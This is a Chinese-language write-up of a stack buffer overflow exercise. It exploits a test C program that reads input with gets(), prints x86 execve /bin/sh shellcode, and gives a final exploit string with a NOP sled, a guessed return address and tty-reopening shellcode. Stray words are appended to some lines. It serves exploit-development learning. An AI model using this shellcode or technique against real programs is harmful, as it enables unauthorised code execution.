//gets函数不会检查边界,会形成溢出 //gcc test.c -o flaw 1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6int main(int argc, char **argv) 7{ 8 char buffer[64]; 9 10 gets(buffer); 11}
修改http://shell-storm.org/shellcode/files/shellcode-827.php上的shellcode,让它适合这个程序 shellcode:"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd8\xfc\xff\xbf\x90\xfc\xff\xbf"
0x1 奇怪的现象:直接cat shellcode | ./flaw 会出现段错误(segment fault)。奇怪的是gdb调试的时候,确实执行到了shellcode,理应有一个shell出现啊.在gdb中,shell出现后立马退出。php
google,看到是gets()函数的缘由。python
要想利用gets函数引发的缓冲区溢出,shellcode中应该要从新打开输入。(reopen the input)shell
也就是说,我开始找的shellcode恰好对gets函数无效。函数
因而,找了个有从新打开输入功能的shellcode。见linkgoogle
0x2 奇怪的现象:直接cat shellcode | ./flaw 会出现非法指令(Illegal instruction)。可是用gdb调试的时候,执行完shellcode,就有一个shell出来了.调试
gdb调试程序和直接运行程序时,寄存器的值是不同。code
//打印寄存器的值 int main() { int i; asm("\t movl %%ebx,%0" : "=r"(i)); printf("esp:%x\n",i); return i + 1; }
因此在栈中覆盖"EIP"值时,是跟寄存器中看到的是不同的.orm
至于怎么能动态地计算出这个EIP值,如今还没接触到。ci
因此,我最终的那个要覆盖的"EIP"值实际上是有点乱猜的成分.get
最终的exp: "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x08\xfd\xff\xbf\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc01\xdb\xb0\x06\xcd\x80Sh/ttyh/dev\x89\xe31\xc9f\xb9\x12'\xb0\x05\xcd\x801\xc0Ph//shh/bin\x89\xe3PS\x89\xe1\x99\xb0\x0b\xcd\x80"
link:
https://www.mattandreko.com/2011/12/17/exploit-exercises-protostar-stack-5/
http://stackoverflow.com/questions/2859127/shellcode-for-a-simple-stack-overflow-exploited-program-with-shell-terminates-d
http://www.exploit-db.com/exploits/13357/